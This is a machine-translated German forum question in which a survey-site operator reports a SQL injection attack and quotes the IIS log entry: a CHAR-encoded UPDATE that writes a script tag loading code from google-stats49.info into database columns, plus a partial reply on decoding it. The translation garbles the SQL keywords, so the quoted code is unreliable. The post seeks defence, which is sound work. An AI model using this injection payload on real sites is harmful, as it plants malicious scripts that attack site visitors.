Wir haben eine Umfrage-Website, die offenbar angegriffen wurde. Die Symptome sind identisch mit denen, die auf der folgenden Seite dieser Website beschrieben wurden: XSS Attack on the ASP.NET Website.Angriff auf ASP-Site, die eine SQL Server-Datenbank verwendet
fand ich mehrere Einträge in unserem IIS-Protokolle, die den schädlichen Code enthalten:
</title> < script src = http: // google-stats49.info/ur.php>.
Hier ist ein Beispiel für den Wert des Feldes cs-uri-query für einen der IIS-Protokolleinträge.
surveyID = 91 + Update + usd_ResponseDetails + gesetzt + category = replace (CAST (category + as + VARCHAR (8000)), gegossen (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105)% 2Bschar (116)% 2Bschar (108)% 2Bschar (101)% 2Bschar (62)% 2Bschar (60)% 2Bschar (115)% 2Bschar (99)% 2Bschar (114)% 2Bschar (105)% 2Bschar (112)% 2BZeichen (116)% 2BZeichen (32)% 2BZeichen (115)% 2BZeichen (114)% 2BZeichen (99)% 2BZeichen (61)% 2BZeichen (104)% 2BZeichen (116)% 2BZeichen (116)% 2BZeichen (112)% 2Bschar (58)% 2Bschar (47)% 2Bschar (47)% 2Bschar (103)% 2Bschar (111)% 2Bschar (111)% 2Bschar (103)% 2Bschar (108)% 2Bschar (101)% 2Bschar (45)% 2Bschar (115)% 2Bschar (116)% 2Bschar (97)% 2Bschar (116)% 2Bschar (115)% 2Bschar (53)% 2Bschar (48)% 2Bschar (46)% 2Bschar (105)% 2Bschar (110)% 2BZeichen (102)% 2BZeichen (111)% 2BZeichen (47)% 2BZeichen (117)% 2BZeichen (114)% 2BZeichen (46)% 2BZeichen (112)% 2BZeichen (104)% 2BZeichen (112)% 2BZeichen (62)% 2Bschar (60)% 2Bschar (47)% 2Bschar (115)% 2Bschar (99)% 2Bschar (114)% 2Bschar (105)% 2Bschar (112)% 2Bschar (1 16)% 2Bchar (62) + + als varchar (8000)), gegossen (char (32) + + als varchar (8))) -
Ich verstehe nicht, wie der obige Code funktioniert aber anscheinend wird dies in einer Abfragezeichenfolge gesendet, um Spalten in unseren Datenbanktabellen zu beschädigen. Wir haben unsere Seite vorläufig geschlossen. Wir können die Skripte aus der Datenbank entfernen, verhindern jedoch nicht, dass sie erneut beschädigt wird, wenn wir die Site wieder online schalten.
Hat jemand irgendwelche Vorschläge, wie dies verhindert werden kann?
' CHAR (n) 'eine TSQL Funktion, die einen int in ein ASCII-Zeichen macht. Dies ist, was das obige Beispiel enthält: '', also probiere es aus: 'print char (60) + char (47) + char (116) + Zeichenkette (105) + Zeichenkette (116) + Zeichenkette (108) + Zeichenkette (101) + Zeichenkette (62) + Zeichenkette (60) + Zeichenkette (115) + Zeichenkette (99) + Zeichenkette (114) + Zeichenkette (105) + Zeichenkette (112) + Zeichenkette (116) + Zeichenkette (32) + Zeichenkette (115) + Zeichenkette (114) + Zeichenkette (99) + Zeichenkette (61) + Zeichenkette (104) + Zeichenkette (116) + Zeichenkette (116) + char (112) + char (58) + char (47) + char (47) + char (103) + char (111) + char (111) + char (103) + char (108) + char (101) + char (45) + char (115) + char (116) + char (97) + char (116) + char (115) + char (53) + '...' ' –